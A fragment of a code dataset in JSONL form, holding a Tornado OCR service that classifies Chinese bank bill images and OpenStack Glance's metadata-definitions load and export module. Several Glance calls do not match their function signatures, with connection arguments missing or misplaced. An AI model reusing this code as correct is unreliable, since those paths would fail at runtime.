"usage_type": "name"}, {"api_name": "socket.SOL_SOCKET", "line_number": 334, "usage_type": "attribute"}, {"api_name": "socket.SO_RCVBUF", "line_number": 334, "usage_type": "attribute"}, {"api_name": "socket.SOL_SOCKET", "line_number": 335, "usage_type": "attribute"}, {"api_name": "socket.SO_RCVLOWAT", "line_number": 335, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 340, "usage_type": "call"}, {"api_name": "threading.Lock", "line_number": 353, "usage_type": "call"}, {"api_name": "ui.load_view", "line_number": 356, "usage_type": "call"}]} +{"seq_id": "13262691250", "text": "#coding:utf-8\r\nimport os\r\nimport sys\r\nimport tornado\r\nimport tornado.ioloop\r\nimport tornado.web\r\nfrom concurrent.futures import ThreadPoolExecutor\r\ntry:\r\n sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), './bankBillTypeOCR/title_Type'))\r\n from billTitleOCRInterface import billType\r\n sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), './ocr_models/Tesseract_API'))\r\n from TesseractAPI_SingleHandle_Class import TessAPI\r\n from logger import logger_Info\r\n from operationConfig import MyConf,Writepid\r\n from cnn_interface_sj.ApplicationFormClassification.interface import model, return_result_dict, generate\r\n from cnn_interface_sj.ApplicationFormClassification.interface import pred\r\n from templateMatch.TemplateMatch import ModelMatchInter\r\nexcept:\r\n from sjocr.ocr_models.Tesseract_API.TesseractAPI_SingleHandle_Class import TessAPI\r\n from sjocr.bankBillTypeOCR.title_Type.billTitleOCRInterface import billType\r\n from sjocr.logger import logger_Info\r\n from sjocr.operationConfig import MyConf,Writepid\r\n from sjocr.cnn_interface_sj.ApplicationFormClassification.interface import model, return_result_dict, generate\r\n from sjocr.cnn_interface_sj.ApplicationFormClassification.interface import pred\r\n from sjocr.templateMatch.TemplateMatch import ModelMatchInter\r\n\r\nimport base64\r\nimport cv2\r\nimport urllib.request\r\nimport json\r\nimport numpy as np\r\n# from operationConfig import MyConf,Writepid\r\n# from logger import logger_Info\r\nimport traceback\r\nimport torch\r\n\r\ntess_api = None\r\ntess_api_vert = None\r\nrunlog = None\r\nmodelImgList = []\r\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\" if torch.cuda.is_available() else \"-1\"\r\nid_rt_value = {\"IDCardBack\" , \"IDCardFront\"}\r\n\r\nmodel_match_inter = ModelMatchInter()\r\n\r\ntypeList = {\r\n u\"结算业务申请书\": u\"013\",\r\n u\"结算业务申请书-第一联\":u\"013\",\r\n u\"结算业务申请书-第二联\":u\"013\",\r\n u\"结算业务申请书-第三联\":u\"013\",\r\n u\"结算业务申请书（无号码）\": u\"528\",\r\n u\"结算业务申请书（无号码）-第一联\":u\"528\",\r\n u\"结算业务申请书（无号码）-第二联\":u\"528\",\r\n u\"结算业务申请书（无号码）-第三联\":u\"528\",\r\n u\"进账单\": u\"501\",\r\n u\"转账支票\":u\"001\",\r\n u\"上海贷记凭证大联（2、3联）\":u\"011\",\r\n u\"上海贷记凭证小联（1、4联）\":u\"011b\",\r\n u\"特种转账传票\":u\"520\",\r\n u\"托收凭证\": u\"526\",\r\n u\"银行承兑汇票\":u\"008\",\r\n u\"商业承兑汇票\":u\"010\",\r\n u\"普通支票\":u\"002\",\r\n u\"银行本票\":u\"012\",\r\n u\"通用凭证\":u\"201\",\r\n u\"None\": u\"None\",\r\n\r\n u\"IDCardBack\":u\"016\",\r\n u\"IDCardFront\":u\"015\",\r\n u\"现金缴款单\":u\"510\",\r\n u\"支款凭证\": u\"701\",\r\n u\"zhczhqtzhchxcd\":u\"066\",\r\n u\"zhczhqdqchxcd\":u\"065\",\r\n\r\n u\"通知储蓄存单\":u\"069\",\r\n u\"单位定期存单\":u\"016\",\r\n u\"现金支票\":u\"003\",\r\n u\"单位定期存款开户证实书\":u\"014\",\r\n u\"单位结构性存款开户证实书\":u\"088\",\r\n u\"盛京银行大额存单申请书\":u\"103\",\r\n u\"委托付款授权确认书\":u\"055\",\r\n u\"单位银行结算账户短信通知服务申请书\":u\"901\",\r\n u\"批量业务申请单\":u\"902\",\r\n u\"盛京银行个人结构性存款产品协议书\":u\"101\",\r\n u\"盛京银行开立资信证明申请书\":u\"093\",\r\n u\"预制卡\":u\"61\",\r\n u\"资信证明书（正本）\":u\"None\"\r\n}\r\n\r\n\r\ndef base64ToImg(image_string):\r\n img_data = base64.b64decode(image_string)\r\n nparr = np.fromstring(img_data, np.uint8)\r\n img_np = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\r\n return img_np\r\n\r\ndef getImgByUrl(imgSrc):\r\n resp = urllib.request.urlopen(imgSrc)\r\n image = np.asarray(bytearray(resp.read()), dtype=\"uint8\")\r\n image = cv2.imdecode(image, cv2.IMREAD_COLOR)\r\n return image\r\n\r\nclass Executor(ThreadPoolExecutor):\r\n _instance = None\r\n\r\n def __new__(cls, *args, **kwargs):\r\n if not getattr(cls, '_instance', None):\r\n cls._instance = ThreadPoolExecutor(max_workers=10)\r\n return cls._instance\r\n\r\nclass BillTypeHandler(tornado.web.RequestHandler): \r\n executor = Executor()\r\n\r\n \r\n @tornado.web.asynchronous # 异步处理\r\n @tornado.gen.coroutine # 使用协程调度\r\n def post(self):\r\n \"\"\" get 接口封装 \"\"\"\r\n\r\n # 可以同时获取POST和GET请求参数\r\n dataStr = self.request.body\r\n result = yield self._process(dataStr)\r\n self.write(result) \r\n\r\n @tornado.concurrent.run_on_executor # 增加并发量\r\n def _process(self, dataStr):\r\n # 此处执行具体的任务\r\n type_result = \"\"\r\n return_result = {}\r\n try:\r\n data = json.loads(dataStr)\r\n param = data[\"param\"]\r\n paramType = data[\"type\"]\r\n return_result[\"url\"] = param\r\n return_result[\"type\"] = u\"None\"\r\n if paramType == 1:\r\n img = base64ToImg(param)\r\n elif paramType == 2:\r\n img = param\r\n elif paramType == 3:\r\n img = getImgByUrl(param)\r\n else: # para error\r\n return_result[\"type\"] = \"para error: check type\"\r\n return json.dumps(return_result)\r\n\r\n type_result = pred(img)\r\n # print(\"->cnn_result\")\r\n if type_result not in id_rt_value:\r\n type_result = billType(img, tess_api, tess_api_vert, modelImgList)\r\n if type_result is \"None\":\r\n type_result = model_match_inter.get_class(img)\r\n\r\n # print(\"->tess_result\")\r\n \r\n # type_result = billType(img, tess_api, tess_api_vert, modelImgList) #single tess\r\n\r\n # 根据识别结果返回 类别代码\r\n for item in typeList.keys():\r\n if item == type_result:\r\n type_result = typeList[item]\r\n break\r\n \r\n #print(type_result)\r\n return_result[\"type\"] = type_result\r\n #runlog.info(type_result)\r\n except:\r\n runlog.error(\"运行失败: \" + str(dataStr))\r\n runlog.error(traceback.format_exc())\r\n #print(e)\r\n\r\n return json.dumps(return_result)\r\n\r\nclass WebServerApplication(object):\r\n def __init__(self, port):\r\n self.port = port\r\n #self.settings = {'debug': False, 'autoreload':False}\r\n self.settings = {'debug': False}\r\n\r\n def make_app(self):\r\n \"\"\" 构建Handler\r\n (): 一个括号内为一个Handler\r\n \"\"\"\r\n\r\n return tornado.web.Application([\r\n (r\"/getBillType?\", BillTypeHandler)\r\n ], ** self.settings)\r\n\r\n def process(self):\r\n \"\"\" 构建app, 监听post, 启动服务 \"\"\"\r\n\r\n app = self.make_app() \r\n app.listen(self.port)\r\n tornado.ioloop.IOLoop.current().start()\r\n\r\ndef startWebService(server_port):\r\n server = WebServerApplication(server_port)\r\n server.process()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # 配置文件写入进程号\r\n configPath = \"./paramConfig.conf\"\r\n cf = MyConf()\r\n cf.read(configPath) \r\n currentPid = os.getpid()\r\n Writepid(configPath,cf,currentPid) \r\n \r\n tess_api = TessAPI()\r\n tess_api.Tess_API_Init(lang = 'chi_new_stsong_jx',flag_digit = 0,psm = 6)\r\n tess_api_vert = TessAPI()\r\n tess_api_vert.Tess_API_Init(lang='chi_new_stsong_jx', flag_digit=0, psm=5)\r\n modelPathList = [os.path.join('./tmpl_model',itemPath) for itemPath in os.listdir(r'./tmpl_model') if itemPath.endswith(\".png\")]\r\n for m_imagePath in modelPathList:\r\n type = os.path.basename(m_imagePath).replace(\".png\",\"\")\r\n m_image = cv2.imread(m_imagePath,0)\r\n modelImgList.append([type,m_image])\r\n\r\n server_port = \"10002\"\r\n \r\n #定义服务端口\r\n if len(sys.argv)>1:\r\n server_port = sys.argv[1]\r\n \r\n logfilename = \"./runLog_\"+server_port+\".log\"\r\n runlog = logger_Info(logIndex=\"debug\",logPath=logfilename)\r\n \r\n server = WebServerApplication(str(server_port))\r\n server.process()", "repo_name": "yahuuu/shengjingOcr_v3.3", "sub_path": "billTypeWebService_v2_sub.py", "file_name": "billTypeWebService_v2_sub.py", "file_ext": "py", "file_size_in_byte": 8160, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "sys.path.append", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 11, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 41, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 41, "usage_type": "attribute"}, {"api_name": "sjocr.templateMatch.TemplateMatch.ModelMatchInter", "line_number": 44, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.fromstring", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 93, "usage_type": "attribute"}, {"api_name": "cv2.imdecode", "line_number": 94, "usage_type": "call"}, {"api_name": "cv2.IMREAD_COLOR", "line_number": 94, "usage_type": "attribute"}, {"api_name": "urllib.request.request.urlopen", "line_number": 98, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 98, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 98, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 99, "usage_type": "call"}, {"api_name": "cv2.imdecode", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.IMREAD_COLOR", "line_number": 100, "usage_type": "attribute"}, {"api_name": "concurrent.futures.ThreadPoolExecutor", "line_number": 103, "usage_type": "name"}, {"api_name": "concurrent.futures.ThreadPoolExecutor", "line_number": 108, "usage_type": "call"}, {"api_name": "tornado.web", "line_number": 111, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 115, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 116, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 131, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 144, "usage_type": "call"}, {"api_name": "sjocr.cnn_interface_sj.ApplicationFormClassification.interface.pred", "line_number": 146, "usage_type": "call"}, {"api_name": "sjocr.bankBillTypeOCR.title_Type.billTitleOCRInterface.billType", "line_number": 149, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 168, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 171, "usage_type": "call"}, {"api_name": "tornado.concurrent", "line_number": 125, "usage_type": "attribute"}, {"api_name": "tornado.web.Application", "line_number": 184, "usage_type": "call"}, {"api_name": "tornado.web", "line_number": 184, "usage_type": "attribute"}, {"api_name": "tornado.ioloop.IOLoop.current", "line_number": 193, "usage_type": "call"}, {"api_name": "tornado.ioloop", "line_number": 193, "usage_type": "attribute"}, {"api_name": "sjocr.operationConfig.MyConf", "line_number": 203, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 205, "usage_type": "call"}, {"api_name": "sjocr.operationConfig.Writepid", "line_number": 206, "usage_type": "call"}, {"api_name": "sjocr.ocr_models.Tesseract_API.TesseractAPI_SingleHandle_Class.TessAPI", "line_number": 208, "usage_type": "call"}, {"api_name": "sjocr.ocr_models.Tesseract_API.TesseractAPI_SingleHandle_Class.TessAPI", "line_number": 210, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 212, "usage_type": "call"}, {"api_name": "os.path", "line_number": 212, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 212, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 214, "usage_type": "call"}, {"api_name": "os.path", "line_number": 214, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 215, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 221, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 222, "usage_type": "attribute"}, {"api_name": "sjocr.logger.logger_Info", "line_number": 225, "usage_type": "call"}]} +{"seq_id": "5442713426", "text": "import json\nimport os\nfrom os.path import isfile\nfrom os.path import join\nimport re\n\nfrom oslo_config import cfg\nfrom oslo_log import log as logging\nfrom oslo_utils import encodeutils\nimport sqlalchemy\nfrom sqlalchemy import and_\nfrom sqlalchemy.schema import MetaData\nfrom sqlalchemy.sql import select\n\nfrom glance.common import timeutils\nfrom glance.i18n import _, _LE, _LI, _LW\n\nLOG = logging.getLogger(__name__)\n\nmetadata_opts = [\n cfg.StrOpt('metadata_source_path',\n default='/etc/glance/metadefs/',\n help=_(\"\"\"\nAbsolute path to the directory where JSON metadefs files are stored.\n\nGlance Metadata Definitions (\"metadefs\") are served from the database,\nbut are stored in files in the JSON format. The files in this\ndirectory are used to initialize the metadefs in the database.\nAdditionally, when metadefs are exported from the database, the files\nare written to this directory.\n\nNOTE: If you plan to export metadefs, make sure that this directory\nhas write permissions set for the user being used to run the\nglance-api service.\n\nPossible values:\n * String value representing a valid absolute pathname\n\nRelated options:\n * None\n\n\"\"\")),\n]\n\nCONF = cfg.CONF\nCONF.register_opts(metadata_opts)\n\n\ndef get_metadef_namespaces_table(meta, conn):\n with conn.begin():\n return sqlalchemy.Table('metadef_namespaces', meta, autoload_with=conn)\n\n\ndef get_metadef_resource_types_table(meta, conn):\n with conn.begin():\n return sqlalchemy.Table('metadef_resource_types', meta,\n autoload_with=conn)\n\n\ndef get_metadef_namespace_resource_types_table(meta, conn):\n with conn.begin():\n return sqlalchemy.Table('metadef_namespace_resource_types', meta,\n autoload_with=conn)\n\n\ndef get_metadef_properties_table(meta, conn):\n with conn.begin():\n return sqlalchemy.Table('metadef_properties', meta, autoload_with=conn)\n\n\ndef get_metadef_objects_table(meta, conn):\n with conn.begin():\n return sqlalchemy.Table('metadef_objects', meta, autoload_with=conn)\n\n\ndef get_metadef_tags_table(meta, conn):\n with conn.begin():\n return sqlalchemy.Table('metadef_tags', meta, autoload_with=conn)\n\n\ndef _get_resource_type_id(meta, conn, name):\n rt_table = get_metadef_resource_types_table(meta, conn)\n with conn.begin():\n resource_type = conn.execute(\n select(rt_table.c.id).where(\n rt_table.c.name == name\n ).select_from(rt_table)\n ).fetchone()\n if resource_type:\n return resource_type[0]\n return None\n\n\ndef _get_resource_type(meta, conn, resource_type_id):\n rt_table = get_metadef_resource_types_table(meta, conn)\n with conn.begin():\n return conn.execute(\n rt_table.select().where(\n rt_table.c.id == resource_type_id\n )\n ).fetchone()\n\n\ndef _get_namespace_resource_types(meta, conn, namespace_id):\n namespace_resource_types_table = (\n get_metadef_namespace_resource_types_table(meta, conn))\n with conn.begin():\n return conn.execute(\n namespace_resource_types_table.select().where(\n namespace_resource_types_table.c.namespace_id == namespace_id\n )\n ).fetchall()\n\n\ndef _get_namespace_resource_type_by_ids(meta, conn, namespace_id, rt_id):\n namespace_resource_types_table = (\n get_metadef_namespace_resource_types_table(meta, conn))\n with conn.begin():\n return conn.execute(\n namespace_resource_types_table.select().where(and_(\n namespace_resource_types_table.c.namespace_id == namespace_id,\n namespace_resource_types_table.c.resource_type_id == rt_id)\n )\n ).fetchone()\n\n\ndef _get_properties(meta, conn, namespace_id):\n properties_table = get_metadef_properties_table(meta, conn)\n with conn.begin():\n return conn.execute(\n properties_table.select().where(\n properties_table.c.namespace_id == namespace_id\n )\n ).fetchall()\n\n\ndef _get_objects(meta, conn, namespace_id):\n objects_table = get_metadef_objects_table(meta, conn)\n with conn.begin():\n return conn.execute(\n objects_table.select().where(\n objects_table.c.namespace_id == namespace_id)\n ).fetchall()\n\n\ndef _get_tags(meta, conn, namespace_id):\n tags_table = get_metadef_tags_table(meta, conn)\n with conn.begin():\n return conn.execute(\n tags_table.select().where(\n tags_table.c.namespace_id == namespace_id\n )\n ).fetchall()\n\n\ndef _get_resource_id(table, conn, namespace_id, resource_name):\n with conn.begin():\n resource = conn.execute(\n select(table.c.id).where(\n and_(\n table.c.namespace_id == namespace_id,\n table.c.name == resource_name,\n )\n ).select_from(table)\n ).fetchone()\n if resource:\n return resource[0]\n return None\n\n\ndef _clear_metadata(meta, conn):\n metadef_tables = [get_metadef_properties_table(meta, conn),\n get_metadef_objects_table(meta, conn),\n get_metadef_tags_table(meta, conn),\n get_metadef_namespace_resource_types_table(meta, conn),\n get_metadef_namespaces_table(meta, conn),\n get_metadef_resource_types_table(meta, conn)]\n\n with conn.begin():\n for table in metadef_tables:\n conn.execute(table.delete())\n LOG.info(_LI(\"Table %s has been cleared\"), table)\n\n\ndef _clear_namespace_metadata(meta, conn, namespace_id):\n metadef_tables = [get_metadef_properties_table(meta, conn),\n get_metadef_objects_table(meta, conn),\n get_metadef_tags_table(meta, conn),\n get_metadef_namespace_resource_types_table(meta, conn)]\n namespaces_table = get_metadef_namespaces_table(meta, conn)\n\n with conn.begin():\n for table in metadef_tables:\n conn.execute(\n table.delete().where(table.c.namespace_id == namespace_id))\n\n conn.execute(\n namespaces_table.delete().where(\n namespaces_table.c.id == namespace_id))\n\n\ndef _populate_metadata(meta, conn, metadata_path=None, merge=False,\n prefer_new=False, overwrite=False):\n if not metadata_path:\n metadata_path = CONF.metadata_source_path\n\n try:\n if isfile(metadata_path):\n json_schema_files = [metadata_path]\n else:\n json_schema_files = [f for f in os.listdir(metadata_path)\n if isfile(join(metadata_path, f))\n and f.endswith('.json')]\n except OSError as e:\n LOG.error(encodeutils.exception_to_unicode(e))\n return\n\n if not json_schema_files:\n LOG.error(_LE(\"Json schema files not found in %s. Aborting.\"),\n metadata_path)\n return\n\n namespaces_table = get_metadef_namespaces_table(meta, conn)\n namespace_rt_table = get_metadef_namespace_resource_types_table(meta, conn)\n objects_table = get_metadef_objects_table(meta, conn)\n tags_table = get_metadef_tags_table(meta, conn)\n properties_table = get_metadef_properties_table(meta, conn)\n resource_types_table = get_metadef_resource_types_table(meta, conn)\n\n for json_schema_file in json_schema_files:\n try:\n file = join(metadata_path, json_schema_file)\n with open(file) as json_file:\n metadata = json.load(json_file)\n except Exception as e:\n LOG.error(_LE(\"Failed to parse json file %(file_path)s while \"\n \"populating metadata due to: %(error_msg)s\"),\n {\"file_path\": file,\n \"error_msg\": encodeutils.exception_to_unicode(e)})\n continue\n\n values = {\n 'namespace': metadata.get('namespace'),\n 'display_name': metadata.get('display_name'),\n 'description': metadata.get('description'),\n 'visibility': metadata.get('visibility'),\n 'protected': metadata.get('protected'),\n 'owner': metadata.get('owner', 'admin')\n }\n\n with conn.begin():\n db_namespace = conn.execute(\n select(\n namespaces_table.c.id\n ).where(\n namespaces_table.c.namespace == values['namespace']\n ).select_from(\n namespaces_table\n )\n ).fetchone()\n\n if db_namespace and overwrite:\n LOG.info(_LI(\"Overwriting namespace %s\"), values['namespace'])\n _clear_namespace_metadata(meta, db_namespace[0])\n db_namespace = None\n\n if not db_namespace:\n values.update({'created_at': timeutils.utcnow()})\n _insert_data_to_db(conn, namespaces_table, values)\n\n with conn.begin():\n db_namespace = conn.execute(\n select(\n namespaces_table.c.id\n ).where(\n namespaces_table.c.namespace == values['namespace']\n ).select_from(\n namespaces_table\n )\n ).fetchone()\n elif not merge:\n LOG.info(_LI(\"Skipping namespace %s. It already exists in the \"\n \"database.\"), values['namespace'])\n continue\n elif prefer_new:\n values.update({'updated_at': timeutils.utcnow()})\n _update_data_in_db(namespaces_table, values,\n namespaces_table.c.id, db_namespace[0])\n\n namespace_id = db_namespace[0]\n\n for resource_type in metadata.get('resource_type_associations', []):\n rt_id = _get_resource_type_id(meta, conn, resource_type['name'])\n if not rt_id:\n val = {\n 'name': resource_type['name'],\n 'created_at': timeutils.utcnow(),\n 'protected': True\n }\n _insert_data_to_db(conn, resource_types_table, val)\n rt_id = _get_resource_type_id(\n meta, conn, resource_type['name'])\n elif prefer_new:\n val = {'updated_at': timeutils.utcnow()}\n _update_data_in_db(resource_types_table, val,\n resource_types_table.c.id, rt_id)\n\n values = {\n 'namespace_id': namespace_id,\n 'resource_type_id': rt_id,\n 'properties_target': resource_type.get(\n 'properties_target'),\n 'prefix': resource_type.get('prefix')\n }\n namespace_resource_type = _get_namespace_resource_type_by_ids(\n meta, conn, namespace_id, rt_id)\n if not namespace_resource_type:\n values.update({'created_at': timeutils.utcnow()})\n _insert_data_to_db(conn, namespace_rt_table, values)\n elif prefer_new:\n values.update({'updated_at': timeutils.utcnow()})\n _update_rt_association(namespace_rt_table, values,\n rt_id, namespace_id)\n\n for name, schema in metadata.get('properties', {}).items():\n values = {\n 'name': name,\n 'namespace_id': namespace_id,\n 'json_schema': json.dumps(schema)\n }\n property_id = _get_resource_id(\n properties_table, conn, namespace_id, name,\n )\n if not property_id:\n values.update({'created_at': timeutils.utcnow()})\n _insert_data_to_db(conn, properties_table, values)\n elif prefer_new:\n values.update({'updated_at': timeutils.utcnow()})\n _update_data_in_db(properties_table, values,\n properties_table.c.id, property_id)\n\n for object in metadata.get('objects', []):\n values = {\n 'name': object['name'],\n 'description': object.get('description'),\n 'namespace_id': namespace_id,\n 'json_schema': json.dumps(\n object.get('properties'))\n }\n object_id = _get_resource_id(objects_table, conn, namespace_id,\n object['name'])\n if not object_id:\n values.update({'created_at': timeutils.utcnow()})\n _insert_data_to_db(conn, objects_table, values)\n elif prefer_new:\n values.update({'updated_at': timeutils.utcnow()})\n _update_data_in_db(objects_table, values,\n objects_table.c.id, object_id)\n\n for tag in metadata.get('tags', []):\n values = {\n 'name': tag.get('name'),\n 'namespace_id': namespace_id,\n }\n tag_id = _get_resource_id(\n tags_table, conn, namespace_id, tag['name'])\n if not tag_id:\n values.update({'created_at': timeutils.utcnow()})\n _insert_data_to_db(conn, tags_table, values)\n elif prefer_new:\n values.update({'updated_at': timeutils.utcnow()})\n _update_data_in_db(tags_table, values,\n tags_table.c.id, tag_id)\n\n LOG.info(_LI(\"File %s loaded to database.\"), file)\n\n LOG.info(_LI(\"Metadata loading finished\"))\n\n\ndef _insert_data_to_db(conn, table, values, log_exception=True):\n try:\n with conn.begin():\n conn.execute(table.insert().values(values))\n except sqlalchemy.exc.IntegrityError:\n if log_exception:\n LOG.warning(_LW(\"Duplicate entry for values: %s\"), values)\n\n\ndef _update_data_in_db(conn, table, values, column, value):\n try:\n with conn.begin():\n conn.execute(\n table.update().values(values).where(column == value)\n )\n except sqlalchemy.exc.IntegrityError:\n LOG.warning(_LW(\"Duplicate entry for values: %s\"), values)\n\n\ndef _update_rt_association(conn, table, values, rt_id, namespace_id):\n try:\n with conn.begin():\n conn.execute(\n table.update().values(values).where(\n and_(\n table.c.resource_type_id == rt_id,\n table.c.namespace_id == namespace_id,\n )\n )\n )\n except sqlalchemy.exc.IntegrityError:\n LOG.warning(_LW(\"Duplicate entry for values: %s\"), values)\n\n\ndef _export_data_to_file(meta, conn, path):\n if not path:\n path = CONF.metadata_source_path\n\n namespace_table = get_metadef_namespaces_table(meta)\n with conn.begin():\n namespaces = conn.execute(namespace_table.select()).fetchall()\n\n pattern = re.compile(r'[\\W_]+', re.UNICODE)\n\n for id, namespace in enumerate(namespaces, start=1):\n namespace_id = namespace['id']\n namespace_file_name = pattern.sub('', namespace['display_name'])\n\n values = {\n 'namespace': namespace['namespace'],\n 'display_name': namespace['display_name'],\n 'description': namespace['description'],\n 'visibility': namespace['visibility'],\n 'protected': namespace['protected'],\n 'resource_type_associations': [],\n 'properties': {},\n 'objects': [],\n 'tags': []\n }\n\n namespace_resource_types = _get_namespace_resource_types(\n meta, conn, namespace_id)\n db_objects = _get_objects(meta, conn, namespace_id)\n db_properties = _get_properties(meta, conn, namespace_id)\n db_tags = _get_tags(meta, conn, namespace_id)\n\n resource_types = []\n for namespace_resource_type in namespace_resource_types:\n resource_type = _get_resource_type(\n meta, conn, namespace_resource_type['resource_type_id'])\n resource_types.append({\n 'name': resource_type['name'],\n 'prefix': namespace_resource_type['prefix'],\n 'properties_target': namespace_resource_type[\n 'properties_target']\n })\n values.update({\n 'resource_type_associations': resource_types\n })\n\n objects = []\n for object in db_objects:\n objects.append({\n \"name\": object['name'],\n \"description\": object['description'],\n \"properties\": json.loads(object['json_schema'])\n })\n values.update({\n 'objects': objects\n })\n\n properties = {}\n for property in db_properties:\n properties.update({\n property['name']: json.loads(property['json_schema'])\n })\n values.update({\n 'properties': properties\n })\n\n tags = []\n for tag in db_tags:\n tags.append({\n \"name\": tag['name']\n })\n values.update({\n 'tags': tags\n })\n\n try:\n file_name = ''.join([path, namespace_file_name, '.json'])\n if isfile(file_name):\n LOG.info(_LI(\"Overwriting: %s\"), file_name)\n with open(file_name, 'w') as json_file:\n json_file.write(json.dumps(values))\n except Exception as e:\n LOG.exception(encodeutils.exception_to_unicode(e))\n LOG.info(_LI(\"Namespace %(namespace)s saved in %(file)s\"), {\n 'namespace': namespace_file_name, 'file': file_name})\n\n\ndef db_load_metadefs(engine, metadata_path=None, merge=False,\n prefer_new=False, overwrite=False):\n meta = MetaData()\n\n if not merge and (prefer_new or overwrite):\n LOG.error(_LE(\"To use --prefer_new or --overwrite you need to combine \"\n \"of these options with --merge option.\"))\n return\n\n if prefer_new and overwrite and merge:\n LOG.error(_LE(\"Please provide no more than one option from this list: \"\n \"--prefer_new, --overwrite\"))\n return\n\n with engine.connect() as conn:\n _populate_metadata(\n meta, conn, metadata_path, merge, prefer_new, overwrite)\n\n\ndef db_unload_metadefs(engine):\n meta = MetaData()\n\n with engine.connect() as conn:\n _clear_metadata(meta, conn)\n\n\ndef db_export_metadefs(engine, metadata_path=None):\n meta = MetaData()\n\n with engine.connect() as conn:\n _export_data_to_file(meta, conn, metadata_path)\n", "repo_name": "openstack/glance", "sub_path": "glance/db/sqlalchemy/metadata.py", "file_name": "metadata.py", "file_ext": "py", "file_size_in_byte": 18847, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 501, "dataset": "github-code", "pt": "54", "api": [{"api_name": "oslo_log.log.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "oslo_log.log", "line_number": 18, "usage_type": "name"}, {"api_name": "oslo_config.cfg.StrOpt", "line_number": 21, "usage_type": "call"}, {"api_name": "oslo_config.cfg", "line_number": 21, "usage_type": "name"}, {"api_name": "glance.i18n._", "line_number": 23, "usage_type": "call"}, {"api_name": "oslo_config.cfg.CONF", "line_number": 45, "usage_type": "attribute"}, {"api_name": "oslo_config.cfg", "line_number": 45, "usage_type": "name"}, {"api_name": "sqlalchemy.Table", "line_number": 51, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 56, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 62, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 68, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 73, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 78, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.select", "line_number": 85, "usage_type": "call"}, {"api_name": "sqlalchemy.and_", "line_number": 120, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.select", "line_number": 159, "usage_type": "call"}, {"api_name": "sqlalchemy.and_", "line_number": 160, "usage_type": "call"}, {"api_name": "glance.i18n._LI", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 208, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 211, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 212, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 212, "usage_type": "call"}, {"api_name": "oslo_utils.encodeutils.exception_to_unicode", "line_number": 215, "usage_type": "call"}, {"api_name": "oslo_utils.encodeutils", "line_number": 215, "usage_type": "name"}, {"api_name": "glance.i18n._LE", "line_number": 219, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 232, "usage_type": "call"}, {"api_name": "json.load", "line_number": 234, "usage_type": "call"}, {"api_name": "glance.i18n._LE", "line_number": 236, "usage_type": "call"}, {"api_name": "oslo_utils.encodeutils.exception_to_unicode", "line_number": 239, "usage_type": "call"}, {"api_name": "oslo_utils.encodeutils", "line_number": 239, "usage_type": "name"}, {"api_name": "sqlalchemy.sql.select", "line_number": 253, "usage_type": "call"}, {"api_name": "glance.i18n._LI", "line_number": 263, "usage_type": "call"}, {"api_name": "glance.common.timeutils.utcnow", "line_number": 268, "usage_type": "call"}, {"api_name": "glance.common.timeutils", "line_number": 268, "usage_type": "name"}, {"api_name": "sqlalchemy.sql.select", "line_number": 273, "usage_type": "call"}, {"api_name": "glance.i18n._LI", "line_number": 282, "usage_type": "call"}, {"api_name": "glance.common.timeutils.utcnow", "line_number": 286, "usage_type": "call"}, {"api_name": "glance.common.timeutils", "line_number": 286, "usage_type": "name"}, {"api_name": "glance.common.timeutils.utcnow", "line_number": 297, "usage_type": "call"}, {"api_name": 